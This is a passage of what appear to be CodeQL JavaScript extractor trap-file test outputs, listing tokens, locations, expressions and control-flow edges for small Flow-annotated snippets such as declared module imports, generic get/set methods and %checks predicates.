tokeninfo(#20134,8,#20001,43,"[")
#20135=@"loc,{#10000},4,20,4,20"
locations_default(#20135,#10000,4,20,4,20)
hasLocation(#20134,#20135)
#20136=*
tokeninfo(#20136,8,#20001,44,"]")
#20137=@"loc,{#10000},4,21,4,21"
locations_default(#20137,#10000,4,21,4,21)
hasLocation(#20136,#20137)
#20138=*
tokeninfo(#20138,8,#20001,45,")")
#20139=@"loc,{#10000},4,22,4,22"
locations_default(#20139,#10000,4,22,4,22)
hasLocation(#20138,#20139)
#20140=*
tokeninfo(#20140,8,#20001,46,"{")
#20141=@"loc,{#10000},4,24,4,24"
locations_default(#20141,#10000,4,24,4,24)
hasLocation(#20140,#20141)
#20142=*
tokeninfo(#20142,8,#20001,47,"}")
#20143=@"loc,{#10000},4,25,4,25"
locations_default(#20143,#10000,4,25,4,25)
hasLocation(#20142,#20143)
#20144=*
tokeninfo(#20144,0,#20001,48,"")
#20145=@"loc,{#10000},5,1,5,0"
locations_default(#20145,#10000,5,1,5,0)
hasLocation(#20144,#20145)
#20146=*
entry_cfg_node(#20146,#20001)
#20147=@"loc,{#10000},1,1,1,0"
locations_default(#20147,#10000,1,1,1,0)
hasLocation(#20146,#20147)
#20148=*
exit_cfg_node(#20148,#20001)
hasLocation(#20148,#20145)
successor(#20037,#20148)
#20149=*
entry_cfg_node(#20149,#20037)
#20150=@"loc,{#10000},4,1,4,0"
locations_default(#20150,#10000,4,1,4,0)
hasLocation(#20149,#20150)
#20151=*
exit_cfg_node(#20151,#20037)
#20152=@"loc,{#10000},4,26,4,25"
locations_default(#20152,#10000,4,26,4,25)
hasLocation(#20151,#20152)
successor(#20046,#20151)
successor(#20043,#20046)
successor(#20149,#20043)
successor(#20026,#20037)
#20153=*
entry_cfg_node(#20153,#20026)
#20154=@"loc,{#10000},3,1,3,0"
locations_default(#20154,#10000,3,1,3,0)
hasLocation(#20153,#20154)
#20155=*
exit_cfg_node(#20155,#20026)
#20156=@"loc,{#10000},3,24,3,23"
locations_default(#20156,#10000,3,24,3,23)
hasLocation(#20155,#20156)
successor(#20035,#20155)
successor(#20032,#20035)
successor(#20153,#20032)
successor(#20015,#20026)
#20157=*
entry_cfg_node(#20157,#20015)
#20158=@"loc,{#10000},2,1,2,0"
locations_default(#20158,#10000,2,1,2,0)
hasLocation(#20157,#20158)
#20159=*
exit_cfg_node(#20159,#20015)
#20160=@"loc,{#10000},2,22,2,21"
locations_default(#20160,#10000,2,22,2,21)
hasLocation(#20159,#20160)
successor(#20024,#20159)
successor(#20021,#20024)
successor(#20157,#20021)
successor(#20004,#20015)
#20161=*
entry_cfg_node(#20161,#20004)
hasLocation(#20161,#20147)
#20162=*
exit_cfg_node(#20162,#20004)
#20163=@"loc,{#10000},1,20,1,19"
locations_default(#20163,#10000,1,20,1,19)
hasLocation(#20162,#20163)
successor(#20013,#20162)
successor(#20010,#20013)
successor(#20161,#20010)
successor(#20039,#20004)
successor(#20028,#20039)
successor(#20017,#20028)
successor(#20006,#20017)
successor(#20146,#20006)
numlines(#10000,4,4,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,146 @@
#10000=@"/declared-module-imports.js;sourcefile"
files(#10000,"/declared-module-imports.js","declared-module-imports","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,5,0"
locations_default(#20002,#10000,1,1,5,0)
hasLocation(#20001,#20002)
#20003=@"module;{#10000},1,1"
scopes(#20003,3)
scopenodes(#20001,#20003)
scopenesting(#20003,#20000)
isModule(#20001)
#20004=*
lines(#20004,#20001,"declare module ""m1"" {","
")
#20005=@"loc,{#10000},1,1,1,21"
locations_default(#20005,#10000,1,1,1,21)
hasLocation(#20004,#20005)
#20006=*
lines(#20006,#20001," import type t from ""m2"";","
")
#20007=@"loc,{#10000},2,1,2,26"
locations_default(#20007,#10000,2,1,2,26)
hasLocation(#20006,#20007)
indentation(#10000,2," ",2)
#20008=*
lines(#20008,#20001," import typeof t from ""m3"";","
")
#20009=@"loc,{#10000},3,1,3,28"
locations_default(#20009,#10000,3,1,3,28)
hasLocation(#20008,#20009)
indentation(#10000,3," ",2)
#20010=*
lines(#20010,#20001,"}","
")
#20011=@"loc,{#10000},4,1,4,1"
locations_default(#20011,#10000,4,1,4,1)
hasLocation(#20010,#20011)
numlines(#20001,4,4,0)
#20012=*
tokeninfo(#20012,6,#20001,0,"declare")
#20013=@"loc,{#10000},1,1,1,7"
locations_default(#20013,#10000,1,1,1,7)
hasLocation(#20012,#20013)
#20014=*
tokeninfo(#20014,6,#20001,1,"module")
#20015=@"loc,{#10000},1,9,1,14"
locations_default(#20015,#10000,1,9,1,14)
hasLocation(#20014,#20015)
#20016=*
tokeninfo(#20016,4,#20001,2,"""m1""")
#20017=@"loc,{#10000},1,16,1,19"
locations_default(#20017,#10000,1,16,1,19)
hasLocation(#20016,#20017)
#20018=*
tokeninfo(#20018,8,#20001,3,"{")
#20019=@"loc,{#10000},1,21,1,21"
locations_default(#20019,#10000,1,21,1,21)
hasLocation(#20018,#20019)
#20020=*
tokeninfo(#20020,7,#20001,4,"import")
#20021=@"loc,{#10000},2,3,2,8"
locations_default(#20021,#10000,2,3,2,8)
hasLocation(#20020,#20021)
#20022=*
tokeninfo(#20022,6,#20001,5,"type")
#20023=@"loc,{#10000},2,10,2,13"
locations_default(#20023,#10000,2,10,2,13)
hasLocation(#20022,#20023)
#20024=*
tokeninfo(#20024,6,#20001,6,"t")
#20025=@"loc,{#10000},2,15,2,15"
locations_default(#20025,#10000,2,15,2,15)
hasLocation(#20024,#20025)
#20026=*
tokeninfo(#20026,6,#20001,7,"from")
#20027=@"loc,{#10000},2,17,2,20"
locations_default(#20027,#10000,2,17,2,20)
hasLocation(#20026,#20027)
#20028=*
tokeninfo(#20028,4,#20001,8,"""m2""")
#20029=@"loc,{#10000},2,22,2,25"
locations_default(#20029,#10000,2,22,2,25)
hasLocation(#20028,#20029)
#20030=*
tokeninfo(#20030,8,#20001,9,";")
#20031=@"loc,{#10000},2,26,2,26"
locations_default(#20031,#10000,2,26,2,26)
hasLocation(#20030,#20031)
#20032=*
tokeninfo(#20032,7,#20001,10,"import")
#20033=@"loc,{#10000},3,3,3,8"
locations_default(#20033,#10000,3,3,3,8)
hasLocation(#20032,#20033)
#20034=*
tokeninfo(#20034,7,#20001,11,"typeof")
#20035=@"loc,{#10000},3,10,3,15"
locations_default(#20035,#10000,3,10,3,15)
hasLocation(#20034,#20035)
#20036=*
tokeninfo(#20036,6,#20001,12,"t")
#20037=@"loc,{#10000},3,17,3,17"
locations_default(#20037,#10000,3,17,3,17)
hasLocation(#20036,#20037)
#20038=*
tokeninfo(#20038,6,#20001,13,"from")
#20039=@"loc,{#10000},3,19,3,22"
locations_default(#20039,#10000,3,19,3,22)
hasLocation(#20038,#20039)
#20040=*
tokeninfo(#20040,4,#20001,14,"""m3""")
#20041=@"loc,{#10000},3,24,3,27"
locations_default(#20041,#10000,3,24,3,27)
hasLocation(#20040,#20041)
#20042=*
tokeninfo(#20042,8,#20001,15,";")
#20043=@"loc,{#10000},3,28,3,28"
locations_default(#20043,#10000,3,28,3,28)
hasLocation(#20042,#20043)
#20044=*
tokeninfo(#20044,8,#20001,16,"}")
hasLocation(#20044,#20011)
#20045=*
tokeninfo(#20045,0,#20001,17,"")
#20046=@"loc,{#10000},5,1,5,0"
locations_default(#20046,#10000,5,1,5,0)
hasLocation(#20045,#20046)
#20047=*
entry_cfg_node(#20047,#20001)
#20048=@"loc,{#10000},1,1,1,0"
locations_default(#20048,#10000,1,1,1,0)
hasLocation(#20047,#20048)
#20049=*
exit_cfg_node(#20049,#20001)
hasLocation(#20049,#20046)
successor(#20047,#20049)
numlines(#10000,4,4,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,368 @@
#10000=@"/get-set-methods.js;sourcefile"
files(#10000,"/get-set-methods.js","get-set-methods","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,5,0"
locations_default(#20002,#10000,1,1,5,0)
hasLocation(#20001,#20002)
#20003=@"var;{C};{#20000}"
variables(#20003,"C",#20000)
#20004=@"local_type_name;{C};{#20000}"
local_type_names(#20004,"C",#20000)
#20005=*
stmts(#20005,26,#20001,0,"class C ... ) { }\n}")
#20006=@"loc,{#10000},1,1,4,1"
locations_default(#20006,#10000,1,1,4,1)
hasLocation(#20005,#20006)
stmtContainers(#20005,#20001)
#20007=*
exprs(#20007,78,#20005,0,"C")
#20008=@"loc,{#10000},1,7,1,7"
locations_default(#20008,#10000,1,7,1,7)
hasLocation(#20007,#20008)
enclosingStmt(#20007,#20005)
exprContainers(#20007,#20001)
literals("C","C",#20007)
decl(#20007,#20003)
typedecl(#20007,#20004)
#20009=*
scopes(#20009,10)
scopenodes(#20005,#20009)
scopenesting(#20009,#20000)
#20010=*
properties(#20010,#20005,2,0,"get<T>(v: T) { }")
#20011=@"loc,{#10000},2,5,2,20"
locations_default(#20011,#10000,2,5,2,20)
hasLocation(#20010,#20011)
#20012=*
exprs(#20012,0,#20010,0,"get")
#20013=@"loc,{#10000},2,5,2,7"
locations_default(#20013,#10000,2,5,2,7)
hasLocation(#20012,#20013)
enclosingStmt(#20012,#20005)
exprContainers(#20012,#20001)
literals("get","get",#20012)
#20014=*
exprs(#20014,9,#20010,1,"(v: T) { }")
#20015=@"loc,{#10000},2,11,2,20"
locations_default(#20015,#10000,2,11,2,20)
hasLocation(#20014,#20015)
enclosingStmt(#20014,#20005)
exprContainers(#20014,#20001)
#20016=*
scopes(#20016,1)
scopenodes(#20014,#20016)
scopenesting(#20016,#20009)
#20017=@"var;{v};{#20016}"
variables(#20017,"v",#20016)
#20018=*
exprs(#20018,78,#20014,0,"v: T")
#20019=@"loc,{#10000},2,12,2,15"
locations_default(#20019,#10000,2,12,2,15)
hasLocation(#20018,#20019)
exprContainers(#20018,#20014)
literals("v","v",#20018)
decl(#20018,#20017)
#20020=@"var;{arguments};{#20016}"
variables(#20020,"arguments",#20016)
isArgumentsObject(#20020)
#20021=*
stmts(#20021,1,#20014,-2,"{ }")
#20022=@"loc,{#10000},2,18,2,20"
locations_default(#20022,#10000,2,18,2,20)
hasLocation(#20021,#20022)
stmtContainers(#20021,#20014)
numlines(#20014,1,1,0)
isMethod(#20010)
#20023=*
properties(#20023,#20005,3,0,"set<T>(v: T) { }")
#20024=@"loc,{#10000},3,5,3,20"
locations_default(#20024,#10000,3,5,3,20)
hasLocation(#20023,#20024)
#20025=*
exprs(#20025,0,#20023,0,"set")
#20026=@"loc,{#10000},3,5,3,7"
locations_default(#20026,#10000,3,5,3,7)
hasLocation(#20025,#20026)
enclosingStmt(#20025,#20005)
exprContainers(#20025,#20001)
literals("set","set",#20025)
#20027=*
exprs(#20027,9,#20023,1,"(v: T) { }")
#20028=@"loc,{#10000},3,11,3,20"
locations_default(#20028,#10000,3,11,3,20)
hasLocation(#20027,#20028)
enclosingStmt(#20027,#20005)
exprContainers(#20027,#20001)
#20029=*
scopes(#20029,1)
scopenodes(#20027,#20029)
scopenesting(#20029,#20009)
#20030=@"var;{v};{#20029}"
variables(#20030,"v",#20029)
#20031=*
exprs(#20031,78,#20027,0,"v: T")
#20032=@"loc,{#10000},3,12,3,15"
locations_default(#20032,#10000,3,12,3,15)
hasLocation(#20031,#20032)
exprContainers(#20031,#20027)
literals("v","v",#20031)
decl(#20031,#20030)
#20033=@"var;{arguments};{#20029}"
variables(#20033,"arguments",#20029)
isArgumentsObject(#20033)
#20034=*
stmts(#20034,1,#20027,-2,"{ }")
#20035=@"loc,{#10000},3,18,3,20"
locations_default(#20035,#10000,3,18,3,20)
hasLocation(#20034,#20035)
stmtContainers(#20034,#20027)
numlines(#20027,1,1,0)
isMethod(#20023)
#20036=*
properties(#20036,#20005,4,0,"constructor() {}")
#20037=@"loc,{#10000},1,9,1,8"
locations_default(#20037,#10000,1,9,1,8)
hasLocation(#20036,#20037)
#20038=*
exprs(#20038,0,#20036,0,"constructor")
hasLocation(#20038,#20037)
enclosingStmt(#20038,#20005)
exprContainers(#20038,#20001)
literals("constructor","constructor",#20038)
#20039=*
exprs(#20039,9,#20036,1,"() {}")
hasLocation(#20039,#20037)
enclosingStmt(#20039,#20005)
exprContainers(#20039,#20001)
#20040=*
scopes(#20040,1)
scopenodes(#20039,#20040)
scopenesting(#20040,#20009)
#20041=@"var;{arguments};{#20040}"
variables(#20041,"arguments",#20040)
isArgumentsObject(#20041)
#20042=*
stmts(#20042,1,#20039,-2,"{}")
hasLocation(#20042,#20037)
stmtContainers(#20042,#20039)
numlines(#20039,1,0,0)
isMethod(#20036)
#20043=*
lines(#20043,#20001,"class C {","
")
#20044=@"loc,{#10000},1,1,1,9"
locations_default(#20044,#10000,1,1,1,9)
hasLocation(#20043,#20044)
#20045=*
lines(#20045,#20001," get<T>(v: T) { }","
")
#20046=@"loc,{#10000},2,1,2,20"
locations_default(#20046,#10000,2,1,2,20)
hasLocation(#20045,#20046)
indentation(#10000,2," ",4)
#20047=*
lines(#20047,#20001," set<T>(v: T) { }","
")
#20048=@"loc,{#10000},3,1,3,20"
locations_default(#20048,#10000,3,1,3,20)
hasLocation(#20047,#20048)
indentation(#10000,3," ",4)
#20049=*
lines(#20049,#20001,"}","
")
#20050=@"loc,{#10000},4,1,4,1"
locations_default(#20050,#10000,4,1,4,1)
hasLocation(#20049,#20050)
numlines(#20001,4,4,0)
#20051=*
tokeninfo(#20051,7,#20001,0,"class")
#20052=@"loc,{#10000},1,1,1,5"
locations_default(#20052,#10000,1,1,1,5)
hasLocation(#20051,#20052)
#20053=*
tokeninfo(#20053,6,#20001,1,"C")
hasLocation(#20053,#20008)
#20054=*
tokeninfo(#20054,8,#20001,2,"{")
#20055=@"loc,{#10000},1,9,1,9"
locations_default(#20055,#10000,1,9,1,9)
hasLocation(#20054,#20055)
#20056=*
tokeninfo(#20056,6,#20001,3,"get")
hasLocation(#20056,#20013)
#20057=*
tokeninfo(#20057,8,#20001,4,"<")
#20058=@"loc,{#10000},2,8,2,8"
locations_default(#20058,#10000,2,8,2,8)
hasLocation(#20057,#20058)
#20059=*
tokeninfo(#20059,6,#20001,5,"T")
#20060=@"loc,{#10000},2,9,2,9"
locations_default(#20060,#10000,2,9,2,9)
hasLocation(#20059,#20060)
#20061=*
tokeninfo(#20061,8,#20001,6,">")
#20062=@"loc,{#10000},2,10,2,10"
locations_default(#20062,#10000,2,10,2,10)
hasLocation(#20061,#20062)
#20063=*
tokeninfo(#20063,8,#20001,7,"(")
#20064=@"loc,{#10000},2,11,2,11"
locations_default(#20064,#10000,2,11,2,11)
hasLocation(#20063,#20064)
#20065=*
tokeninfo(#20065,6,#20001,8,"v")
#20066=@"loc,{#10000},2,12,2,12"
locations_default(#20066,#10000,2,12,2,12)
hasLocation(#20065,#20066)
#20067=*
tokeninfo(#20067,8,#20001,9,":")
#20068=@"loc,{#10000},2,13,2,13"
locations_default(#20068,#10000,2,13,2,13)
hasLocation(#20067,#20068)
#20069=*
tokeninfo(#20069,6,#20001,10,"T")
#20070=@"loc,{#10000},2,15,2,15"
locations_default(#20070,#10000,2,15,2,15)
hasLocation(#20069,#20070)
#20071=*
tokeninfo(#20071,8,#20001,11,")")
#20072=@"loc,{#10000},2,16,2,16"
locations_default(#20072,#10000,2,16,2,16)
hasLocation(#20071,#20072)
#20073=*
tokeninfo(#20073,8,#20001,12,"{")
#20074=@"loc,{#10000},2,18,2,18"
locations_default(#20074,#10000,2,18,2,18)
hasLocation(#20073,#20074)
#20075=*
tokeninfo(#20075,8,#20001,13,"}")
#20076=@"loc,{#10000},2,20,2,20"
locations_default(#20076,#10000,2,20,2,20)
hasLocation(#20075,#20076)
#20077=*
tokeninfo(#20077,6,#20001,14,"set")
hasLocation(#20077,#20026)
#20078=*
tokeninfo(#20078,8,#20001,15,"<")
#20079=@"loc,{#10000},3,8,3,8"
locations_default(#20079,#10000,3,8,3,8)
hasLocation(#20078,#20079)
#20080=*
tokeninfo(#20080,6,#20001,16,"T")
#20081=@"loc,{#10000},3,9,3,9"
locations_default(#20081,#10000,3,9,3,9)
hasLocation(#20080,#20081)
#20082=*
tokeninfo(#20082,8,#20001,17,">")
#20083=@"loc,{#10000},3,10,3,10"
locations_default(#20083,#10000,3,10,3,10)
hasLocation(#20082,#20083)
#20084=*
tokeninfo(#20084,8,#20001,18,"(")
#20085=@"loc,{#10000},3,11,3,11"
locations_default(#20085,#10000,3,11,3,11)
hasLocation(#20084,#20085)
#20086=*
tokeninfo(#20086,6,#20001,19,"v")
#20087=@"loc,{#10000},3,12,3,12"
locations_default(#20087,#10000,3,12,3,12)
hasLocation(#20086,#20087)
#20088=*
tokeninfo(#20088,8,#20001,20,":")
#20089=@"loc,{#10000},3,13,3,13"
locations_default(#20089,#10000,3,13,3,13)
hasLocation(#20088,#20089)
#20090=*
tokeninfo(#20090,6,#20001,21,"T")
#20091=@"loc,{#10000},3,15,3,15"
locations_default(#20091,#10000,3,15,3,15)
hasLocation(#20090,#20091)
#20092=*
tokeninfo(#20092,8,#20001,22,")")
#20093=@"loc,{#10000},3,16,3,16"
locations_default(#20093,#10000,3,16,3,16)
hasLocation(#20092,#20093)
#20094=*
tokeninfo(#20094,8,#20001,23,"{")
#20095=@"loc,{#10000},3,18,3,18"
locations_default(#20095,#10000,3,18,3,18)
hasLocation(#20094,#20095)
#20096=*
tokeninfo(#20096,8,#20001,24,"}")
#20097=@"loc,{#10000},3,20,3,20"
locations_default(#20097,#10000,3,20,3,20)
hasLocation(#20096,#20097)
#20098=*
tokeninfo(#20098,8,#20001,25,"}")
hasLocation(#20098,#20050)
#20099=*
tokeninfo(#20099,0,#20001,26,"")
#20100=@"loc,{#10000},5,1,5,0"
locations_default(#20100,#10000,5,1,5,0)
hasLocation(#20099,#20100)
#20101=*
entry_cfg_node(#20101,#20001)
#20102=@"loc,{#10000},1,1,1,0"
locations_default(#20102,#10000,1,1,1,0)
hasLocation(#20101,#20102)
#20103=*
exit_cfg_node(#20103,#20001)
hasLocation(#20103,#20100)
successor(#20039,#20036)
#20104=*
entry_cfg_node(#20104,#20039)
hasLocation(#20104,#20037)
#20105=*
exit_cfg_node(#20105,#20039)
hasLocation(#20105,#20037)
successor(#20042,#20105)
successor(#20104,#20042)
successor(#20038,#20039)
successor(#20036,#20005)
successor(#20027,#20023)
#20106=*
entry_cfg_node(#20106,#20027)
#20107=@"loc,{#10000},3,11,3,10"
locations_default(#20107,#10000,3,11,3,10)
hasLocation(#20106,#20107)
#20108=*
exit_cfg_node(#20108,#20027)
#20109=@"loc,{#10000},3,21,3,20"
locations_default(#20109,#10000,3,21,3,20)
hasLocation(#20108,#20109)
successor(#20034,#20108)
successor(#20031,#20034)
successor(#20106,#20031)
successor(#20025,#20027)
successor(#20023,#20038)
successor(#20014,#20010)
#20110=*
entry_cfg_node(#20110,#20014)
#20111=@"loc,{#10000},2,11,2,10"
locations_default(#20111,#10000,2,11,2,10)
hasLocation(#20110,#20111)
#20112=*
exit_cfg_node(#20112,#20014)
#20113=@"loc,{#10000},2,21,2,20"
locations_default(#20113,#10000,2,21,2,20)
hasLocation(#20112,#20113)
successor(#20021,#20112)
successor(#20018,#20021)
successor(#20110,#20018)
successor(#20012,#20014)
successor(#20010,#20025)
successor(#20007,#20012)
successor(#20005,#20103)
successor(#20101,#20007)
numlines(#10000,4,4,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,539 @@
#10000=@"/predicate-function-annotation.js;sourcefile"
files(#10000,"/predicate-function-annotation.js","predicate-function-annotation","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,10,0"
locations_default(#20002,#10000,1,1,10,0)
hasLocation(#20001,#20002)
#20003=@"var;{f};{#20000}"
variables(#20003,"f",#20000)
#20004=@"var;{g};{#20000}"
variables(#20004,"g",#20000)
#20005=*
stmts(#20005,17,#20001,0,"functio ... rn a;\n}")
#20006=@"loc,{#10000},1,1,3,1"
locations_default(#20006,#10000,1,1,3,1)
hasLocation(#20005,#20006)
stmtContainers(#20005,#20001)
#20007=*
exprs(#20007,78,#20005,-1,"f")
#20008=@"loc,{#10000},1,10,1,10"
locations_default(#20008,#10000,1,10,1,10)
hasLocation(#20007,#20008)
exprContainers(#20007,#20005)
literals("f","f",#20007)
decl(#20007,#20003)
#20009=*
scopes(#20009,1)
scopenodes(#20005,#20009)
scopenesting(#20009,#20000)
#20010=@"var;{a};{#20009}"
variables(#20010,"a",#20009)
#20011=*
exprs(#20011,78,#20005,0,"a")
#20012=@"loc,{#10000},1,12,1,12"
locations_default(#20012,#10000,1,12,1,12)
hasLocation(#20011,#20012)
exprContainers(#20011,#20005)
literals("a","a",#20011)
decl(#20011,#20010)
#20013=@"var;{arguments};{#20009}"
variables(#20013,"arguments",#20009)
isArgumentsObject(#20013)
#20014=*
stmts(#20014,1,#20005,-2,"{\n return a;\n}")
#20015=@"loc,{#10000},1,32,3,1"
locations_default(#20015,#10000,1,32,3,1)
hasLocation(#20014,#20015)
stmtContainers(#20014,#20005)
#20016=*
stmts(#20016,9,#20014,0,"return a;")
#20017=@"loc,{#10000},2,5,2,13"
locations_default(#20017,#10000,2,5,2,13)
hasLocation(#20016,#20017)
stmtContainers(#20016,#20005)
#20018=*
exprs(#20018,79,#20016,0,"a")
#20019=@"loc,{#10000},2,12,2,12"
locations_default(#20019,#10000,2,12,2,12)
hasLocation(#20018,#20019)
enclosingStmt(#20018,#20016)
exprContainers(#20018,#20005)
literals("a","a",#20018)
bind(#20018,#20010)
numlines(#20005,3,3,0)
#20020=*
stmts(#20020,17,#20001,1,"functio ... ecks {}")
#20021=@"loc,{#10000},4,1,4,24"
locations_default(#20021,#10000,4,1,4,24)
hasLocation(#20020,#20021)
stmtContainers(#20020,#20001)
#20022=*
exprs(#20022,78,#20020,-1,"g")
#20023=@"loc,{#10000},4,10,4,10"
locations_default(#20023,#10000,4,10,4,10)
hasLocation(#20022,#20023)
exprContainers(#20022,#20020)
literals("g","g",#20022)
decl(#20022,#20004)
#20024=*
scopes(#20024,1)
scopenodes(#20020,#20024)
scopenesting(#20024,#20000)
#20025=@"var;{arguments};{#20024}"
variables(#20025,"arguments",#20024)
isArgumentsObject(#20025)
#20026=*
stmts(#20026,1,#20020,-2,"{}")
#20027=@"loc,{#10000},4,23,4,24"
locations_default(#20027,#10000,4,23,4,24)
hasLocation(#20026,#20027)
stmtContainers(#20026,#20020)
numlines(#20020,1,1,0)
#20028=*
stmts(#20028,1,#20001,2,"{\n return b;\n}")
#20029=@"loc,{#10000},4,26,6,1"
locations_default(#20029,#10000,4,26,6,1)
hasLocation(#20028,#20029)
stmtContainers(#20028,#20001)
#20030=*
stmts(#20030,9,#20028,0,"return b;")
#20031=@"loc,{#10000},5,5,5,13"
locations_default(#20031,#10000,5,5,5,13)
hasLocation(#20030,#20031)
stmtContainers(#20030,#20001)
#20032=*
exprs(#20032,79,#20030,0,"b")
#20033=@"loc,{#10000},5,12,5,12"
locations_default(#20033,#10000,5,12,5,12)
hasLocation(#20032,#20033)
enclosingStmt(#20032,#20030)
exprContainers(#20032,#20001)
literals("b","b",#20032)
#20034=@"var;{b};{#20000}"
variables(#20034,"b",#20000)
bind(#20032,#20034)
#20035=*
stmts(#20035,2,#20001,3,"(c): bo ... s => c;")
#20036=@"loc,{#10000},8,1,8,26"
locations_default(#20036,#10000,8,1,8,26)
hasLocation(#20035,#20036)
stmtContainers(#20035,#20001)
#20037=*
exprs(#20037,65,#20035,0,"(c): bo ... ks => c")
#20038=@"loc,{#10000},8,1,8,25"
locations_default(#20038,#10000,8,1,8,25)
hasLocation(#20037,#20038)
enclosingStmt(#20037,#20035)
exprContainers(#20037,#20001)
#20039=*
scopes(#20039,1)
scopenodes(#20037,#20039)
scopenesting(#20039,#20000)
#20040=@"var;{c};{#20039}"
variables(#20040,"c",#20039)
#20041=*
exprs(#20041,78,#20037,0,"c")
#20042=@"loc,{#10000},8,2,8,2"
locations_default(#20042,#10000,8,2,8,2)
hasLocation(#20041,#20042)
exprContainers(#20041,#20037)
literals("c","c",#20041)
decl(#20041,#20040)
#20043=*
exprs(#20043,79,#20037,-2,"c")
#20044=@"loc,{#10000},8,25,8,25"
locations_default(#20044,#10000,8,25,8,25)
hasLocation(#20043,#20044)
exprContainers(#20043,#20037)
literals("c","c",#20043)
bind(#20043,#20040)
numlines(#20037,1,1,0)
#20045=*
stmts(#20045,2,#20001,4,"(d): %checks => d;")
#20046=@"loc,{#10000},9,1,9,18"
locations_default(#20046,#10000,9,1,9,18)
hasLocation(#20045,#20046)
stmtContainers(#20045,#20001)
#20047=*
exprs(#20047,65,#20045,0,"(d): %checks => d")
#20048=@"loc,{#10000},9,1,9,17"
locations_default(#20048,#10000,9,1,9,17)
hasLocation(#20047,#20048)
enclosingStmt(#20047,#20045)
exprContainers(#20047,#20001)
#20049=*
scopes(#20049,1)
scopenodes(#20047,#20049)
scopenesting(#20049,#20000)
#20050=@"var;{d};{#20049}"
variables(#20050,"d",#20049)
#20051=*
exprs(#20051,78,#20047,0,"d")
#20052=@"loc,{#10000},9,2,9,2"
locations_default(#20052,#10000,9,2,9,2)
hasLocation(#20051,#20052)
exprContainers(#20051,#20047)
literals("d","d",#20051)
decl(#20051,#20050)
#20053=*
exprs(#20053,79,#20047,-2,"d")
#20054=@"loc,{#10000},9,17,9,17"
locations_default(#20054,#10000,9,17,9,17)
hasLocation(#20053,#20054)
exprContainers(#20053,#20047)
literals("d","d",#20053)
bind(#20053,#20050)
numlines(#20047,1,1,0)
#20055=*
lines(#20055,#20001,"function f(a): boolean %checks {","
")
#20056=@"loc,{#10000},1,1,1,32"
locations_default(#20056,#10000,1,1,1,32)
hasLocation(#20055,#20056)
#20057=*
lines(#20057,#20001," return a;","
")
#20058=@"loc,{#10000},2,1,2,13"
locations_default(#20058,#10000,2,1,2,13)
hasLocation(#20057,#20058)
indentation(#10000,2," ",4)
#20059=*
lines(#20059,#20001,"}","
")
#20060=@"loc,{#10000},3,1,3,1"
locations_default(#20060,#10000,3,1,3,1)
hasLocation(#20059,#20060)
#20061=*
lines(#20061,#20001,"function g(): %checks {} {","
")
#20062=@"loc,{#10000},4,1,4,26"
locations_default(#20062,#10000,4,1,4,26)
hasLocation(#20061,#20062)
#20063=*
lines(#20063,#20001," return b;","
")
#20064=@"loc,{#10000},5,1,5,13"
locations_default(#20064,#10000,5,1,5,13)
hasLocation(#20063,#20064)
indentation(#10000,5," ",4)
#20065=*
lines(#20065,#20001,"}","
")
#20066=@"loc,{#10000},6,1,6,1"
locations_default(#20066,#10000,6,1,6,1)
hasLocation(#20065,#20066)
#20067=*
lines(#20067,#20001,"","
")
#20068=@"loc,{#10000},7,1,7,0"
locations_default(#20068,#10000,7,1,7,0)
hasLocation(#20067,#20068)
#20069=*
lines(#20069,#20001,"(c): boolean %checks => c;","
")
hasLocation(#20069,#20036)
#20070=*
lines(#20070,#20001,"(d): %checks => d;","
")
hasLocation(#20070,#20046)
numlines(#20001,9,8,0)
#20071=*
tokeninfo(#20071,7,#20001,0,"function")
#20072=@"loc,{#10000},1,1,1,8"
locations_default(#20072,#10000,1,1,1,8)
hasLocation(#20071,#20072)
#20073=*
tokeninfo(#20073,6,#20001,1,"f")
hasLocation(#20073,#20008)
#20074=*
tokeninfo(#20074,8,#20001,2,"(")
#20075=@"loc,{#10000},1,11,1,11"
locations_default(#20075,#10000,1,11,1,11)
hasLocation(#20074,#20075)
#20076=*
tokeninfo(#20076,6,#20001,3,"a")
hasLocation(#20076,#20012)
#20077=*
tokeninfo(#20077,8,#20001,4,")")
#20078=@"loc,{#10000},1,13,1,13"
locations_default(#20078,#10000,1,13,1,13)
hasLocation(#20077,#20078)
#20079=*
tokeninfo(#20079,8,#20001,5,":")
#20080=@"loc,{#10000},1,14,1,14"
locations_default(#20080,#10000,1,14,1,14)
hasLocation(#20079,#20080)
#20081=*
tokeninfo(#20081,6,#20001,6,"boolean")
#20082=@"loc,{#10000},1,16,1,22"
locations_default(#20082,#10000,1,16,1,22)
hasLocation(#20081,#20082)
#20083=*
tokeninfo(#20083,8,#20001,7,"%")
#20084=@"loc,{#10000},1,24,1,24"
locations_default(#20084,#10000,1,24,1,24)
hasLocation(#20083,#20084)
#20085=*
tokeninfo(#20085,6,#20001,8,"checks")
#20086=@"loc,{#10000},1,25,1,30"
locations_default(#20086,#10000,1,25,1,30)
hasLocation(#20085,#20086)
#20087=*
tokeninfo(#20087,8,#20001,9,"{")
#20088=@"loc,{#10000},1,32,1,32"
locations_default(#20088,#10000,1,32,1,32)
hasLocation(#20087,#20088)
#20089=*
tokeninfo(#20089,7,#20001,10,"return")
#20090=@"loc,{#10000},2,5,2,10"
locations_default(#20090,#10000,2,5,2,10)
hasLocation(#20089,#20090)
#20091=*
tokeninfo(#20091,6,#20001,11,"a")
hasLocation(#20091,#20019)
#20092=*
tokeninfo(#20092,8,#20001,12,";")
